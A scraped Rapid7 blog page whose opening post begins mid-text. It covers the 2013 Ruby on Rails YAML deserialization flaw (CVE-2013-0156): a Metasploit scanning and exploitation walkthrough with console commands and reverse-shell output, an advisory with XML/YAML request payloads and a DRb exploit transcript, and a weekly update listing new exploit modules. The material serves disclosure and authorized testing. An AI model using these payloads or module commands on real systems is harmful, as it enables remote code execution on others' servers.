DetectionNow that you have a list of servers and ports, it is time to use the RoR vulnerability scanning module within Metasploit. Users of the web interface should access the Modules tab and search for rails_xml_yaml_scanner. Once the module has been selected, enter the IP range you wish to test. If you have web servers across multiple ports (say, 80 and 443 with SSL), you will need to repeat this process once for each port. If these servers are using SSL, make sure that option has been selected. In some cases, you may need to specify the VHOST and URIPATH to tell the module exactly what web site and URL to test.Metasploit console users can accomplish the same thing by running the following commands:msf> use auxiliary/scanner/http/rails_xml_yaml_scannermsf  auxiliary(rails_xml_yaml_scanner) > set RHOSTS 192.168.0.0/24msf  auxiliary(rails_xml_yaml_scanner) > set RPORT 80msf  auxiliary(rails_xml_yaml_scanner) > set THREADS 128msf  auxiliary(rails_xml_yaml_scanner) > runThe output of the scan should be a list of vulnerable servers, or no output at all if none were found. If you would like to see more information about the scan, set the VERBOSE option to true.[*] Scanned 036 of 256 hosts (014% complete)[*] Scanned 133 of 256 hosts (051% complete)[ ] 192.168.0.4:80 is likely vulnerable due to a 500 reply for invalid YAML[*] Scanned 148 of 256 hosts (057% complete)[*] Scanned 154 of 256 hosts (060% complete)[*] Scanned 155 of 256 hosts (060% complete)[*] Scanned 221 of 256 hosts (086% complete)[*] Scanned 224 of 256 hosts (087% complete)[*] Scanned 255 of 256 hosts (099% complete)[*] Scanned 256 of 256 hosts (100% complete)[*] Auxiliary module execution completedIn the output above, we can see that 192.168.0.4 appears to be vulnerable. If a database was connected to the Metasploit console or the web interface was used, there will also be a reported vulnerability for this host. The Metasploit web interface will show something like the following under the Vulnerabilities tab of Analysis.ExploitationTo validate this vulnerability, we will now use the exploit module and try to gain access to the web server.  To do so, click the name of the vulnerability in the web interface and select the Launch option for the Rails exploit shown. Verify that the RPORT and SSL settings are correct and launch. Metasploit Console users can select and launch the exploit with the following commands:msf> use exploit/multi/http/rails_xml_yaml_code_execmsf  exploit(rails_xml_yaml_code_exec) > set RHOST 192.168.0.4msf  exploit(rails_xml_yaml_code_exec) > set RPORT 80msf  exploit(rails_xml_yaml_code_exec) > exploit[*] Reloading module...[*] Started reverse handler on 192.168.0.4:4444 [*] Sending Railsv3 request to 192.168.0.4:80...[*] Sending Railsv2 request to 192.168.0.4:80...[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.4:53719) at 2013-01-10 03:07:54 -0600iduid=1001(www) gid=1001(www) groups=1001(www)TroubleshootingIf the server was reported as vulnerable, but you did not get a session, you may need to change your payload settings. By default, Metasploit will try to use a reverse-connect payload, but this can fail if your system is behind a firewall or if the target system is unable to connect back.  If you are conducting an assessment of an external network, it makes sense to run Metasploit a remote, externally-facing system as well. If you are using a virtual machine, make sure the virtual interface is set to Bridged and not NAT mode. You can also override the payload settings to prefer a bind payload, but if the target has a firewall, the LPORT option must be set to an unfiltered port.Given the widespread use of Ruby on Rails and the mix of web sites and web-based product front-ends using it, this vulnerability may be a common finding for years to come.-HD

Serialization Mischief in Ruby Land (CVE-2013-0156)

This afternoon a particularly scary advisory was posted to the Ruby on Rails (RoR) security discussion list. The summary is that the XML processor in RoR can be tricked into decoding the request as a YAML document or as a Ruby Symbol, both of which…

This afternoon a particularly scary advisory was posted to the Ruby on Rails (RoR) security discussion list. The summary is that the XML processor in RoR can be tricked into decoding the request as a YAML document or as a Ruby Symbol, both of which can expose the application to remote code execution or SQL injection. A gentleman by the name of Felix Wilhelm went into detail on how the vulnerability works, but stopped short of providing a working proof of concept. These kinds of bugs are close to my heart, as Metasploit itself is written in Ruby, and we use Ruby on Rails within the Metasploit Community, Express, and Pro user interfaces.We marshaled the troops and released a security update for Metasploit users (2013010202), updated all of our own RoR applications with the workaround, and started digging into the vulnerability itself.Ben M. Murphy, a researcher working on this issue, claims that this can lead to direct system command execution in all Ruby on Rails web applications. If this pans out, this would put thousands of production web sites at risk of remote compromise.  Mr Murphy has not released his exploit code for the issue, but Felix's blog post provided enough information to start poking at the vulnerability.To demonstrate the issue, send the following data as the body of a POST request to any RoR web application, with the Content-Type header set to "application/xml":<?xml version="1.0" encoding="UTF-8"?><bang type="yaml">--- !ruby/object:Time {}</bang>On the server side, this decodes to a live Time object:Parameters: {"bang"=>1969-12-31 18:00:00 -0600}The mechanics of this bug allow for at least three different paths for exploitation:1. Trigger a SQL injection flaw by sending a Symbol in place of a parameter used in a Model.find_by*() call. This technique was discovered by joernchen and documented here. This can be accomplished using both the YAML and Symbol types in the XML, but the Symbol format is easiest. The original description was wrong, but SQL injection is still possible using Arel objects. Take a look at Postmodern's blog post for more information on the SQL injection vector.2. Allocate an arbitrary Ruby object and be able to set any instance variables. This object is sent instead of the expected parameter to the application. This can lead to all sorts of chaos, but doesn't provide remote code execution all by itself, since an object is required that does unsafe things with init_with() or the application has to do something dangerous with the unexpected object parameter.<?xml version="1.0" encoding="UTF-8"?><boom type="yaml"><![CDATA[--- !ruby/object:UnsafeObjectattribute1: value1]]></boom>This results in a sequence that looks something like the following:obj = UnsafeObject.allocateif obj.respond_to?(:init_with)  obj.init_with(.. attributes ..)else  arguments.each_pair { |key,val| obj.instance_variable_set(key, val) }end3. Instantiate an arbitrary Ruby object and be able to call the "[]=" method with any desired parameters. This can be abused in a slightly different way and opens additional avenues for attack.<?xml version="1.0" encoding="UTF-8"?><boom type="yaml"><![CDATA[--- !ruby/hash:UnsafeObjectattribute1: value1]]></boom>This results in a different code path being taken:obj = UnsafeObject.newarguments.each_pair { |key,val| obj[key] = val }In the case of #1, the application must pass the Symbol parameter into a SQL query, which limits the attack surface to database-enabled applications. The interesting thing about methods #2 and #3 is that they will work regardless of whether the application does anything wtih SQL. The caveat is that the application needs to either do something unsafe with the unexpected object, or a class already in memory has to be abused through the init_with() or []= method handlers.A quick review of common Ruby on Rails classes didn't turn up any obvious paths to exploit #2 or #3, but given Mr. Murphy's claims and the sheer number of code paths available, this is more than likely the worst security issue that the Rails platform has seen to date.Stay tuned for more information on this flaw and more than likely a Metasploit module or two in the coming days.-HDUpdate 1: We are still looking into how this can be turned into a remote exploit, but for any application that has done a require "drb" somewhere in the dependency list, the following local exploit scenario works. First instantiate a DRb Server object in the Rails application using a request like the one below:<?xml version="1.0" encoding="UTF-8"?><boom type="yaml"><![CDATA[--- !ruby/hash:DRb::DRbServer {}]]></boom>Now open msfconsole and use the drb_remote_codeexec module to get a session as the web user. This is limited to the local system, since DRb picks a random port bound to localhost when instantiated with no arguments.$ msfconsolemsf> use exploit/linux/misc/drb_remote_codeexecmsf  exploit(drb_remote_codeexec) > set URI druby://localhost:45074msf  exploit(drb_remote_codeexec) > exploit [*] Started reverse double handler[*] trying to exploit instance_eval< snip >[*] Matching...[*] B is input...[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.4:53299) at 2013-01-09 13:06:39 -0600iduid=1001(www) gid=1001(www) groups=1001(www)Update 2: An anonymous contributor pointed us to a specific class that is exploitable using the ruby/hash method (#3 above). The class is ActionDispatch::Routing::RouteSet::NamedRouteCollection. Expect a Metasploit module in the next 4-12 hours.Update 3: The Metasploit module is now available on GitHub and handles Ruby on Rails versions 2 and 3.Update 4: A walkthrough of using the scanner and exploit modules is now availableUpdate 5: CVE-2013-0333. Second verse, same as the first, except this time. Metapsloit itself is not vulnerable.

Weekly Metasploit Update: Mac OSX 64-Bit Payloads and More!

In addition to the frankly killer 0-day in RateMyPet, we have a couple other things going on in Metasploit land.Mac OSX 64-Bit PayloadsProbably the most significant add this week is Metasploit community contributor Nemo's two new 64-bit payloads for Mac OSX targets. While OSX…

In addition to the frankly killer 0-day in RateMyPet, we have a couple other things going on in Metasploit land.Mac OSX 64-Bit PayloadsProbably the most significant add this week is Metasploit community contributor Nemo's two new 64-bit payloads for Mac OSX targets. While OSX isn't the most popular target on the block, we do have a steadily growing collection of exploits targeting Apple platforms, so bringing 64-Bit platforms into the fold of assessable targets is kind of a big deal. Thanks Nemo!Fixing MSFUpdate After an OutageDerbyCon is afoot, so naturally (let's say) it's time to update a pile of Metasploit's Ruby gem dependencies. Ruby gems include things like ActiveRecord that allows Framework to talk to the database backend, and Railties, which is an extension to Rails and handles parts of the Metasploit Community and Metasploit Pro interfaces. All told, this update has about 400,000 lines of source code change from last update. About that...Late last week, this gem update ended up causing some problems for users who a) track our development very closely while b) on slower links or c) overseas who d) use svn or msfupdate specifically to get their daily (or hourly) fix of Metasploit updates. This doesn't describe the typical Metasploit Community or Metasploit Pro users, who get updates on a weekly basis. This would have affected only the people who fit this particular profile.It's not the total size difference that caused problems, mind you. This week's update is slightly smaller than last week's, due to these changes, as it turns out. The problem is the way SVN tracks the changes that can cause msfupdate to bail out before it completes. This tracking is fine and normal for a source control system, but it's not all that great for a (relatively) simple software update system.While Metasploit Pro users wouldn't have noticed anything wrong, the some of our open source Framework folks would have noticed the problems starting late last week. If you have been msfupdating lately, and not noticed anything, you're out of the woods.I'm sorry about that. I'm so sorry, in fact, that I'm revisiting how msfupdate does its update thing. We'll be looking at better ways to pick up changes from the master branch in a reasonably quick way that doesn't drag along the entire history of Metasploit development with it, which was the crux of the problem.Moral of the story is, we're treating this episode like a service outage. This week's update will get everyone past the 400KLOC change hump (updates like this effectively advance the pointer for you), and we'll test our new updating process on slow links so as not run into this kind of problem again.So, happy DerbyCon everyone, bring home some 0-day, and we'll be all set for next week.New ModulesIt's not all gem updates, of course. We have a smattering of new modules for you, too. For details and usage on these, just follow the links to our Exploit Database. Exploit modules ZEN Load Balancer Filelog Command Execution by Brendan Coles exploits OSVDB-85654Auxilium RateMyPet Arbitrary File Upload Vulnerability by sinn3r and DaOne exploits OSVDB-85554HP Application Lifecycle Management XGO.ocx ActiveX SetShapeNodeType() Remote Code Execution by juan vazquez and rgod exploits ZDI-12-170NTR ActiveX Control Check() Method Buffer Overflow by juan vazquez and Carsten Eiram exploits CVE-2012-0266NTR ActiveX Control StopModule() Remote Code Execution by juan vazquez and Carsten Eiram exploits CVE-2012-0267AvailabilityIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.For additional details on what's changed and what's current, please see the most excellent release notes.

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Upcoming Event

UNITED 2017

Rapid7's annual security summit is taking place September 12-14, 2017 in Boston, MA. Join industry peers for candid talks, focused trainings, and roundtable discussions that accelerate innovation, reduce risk, and advance your business.

Register Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now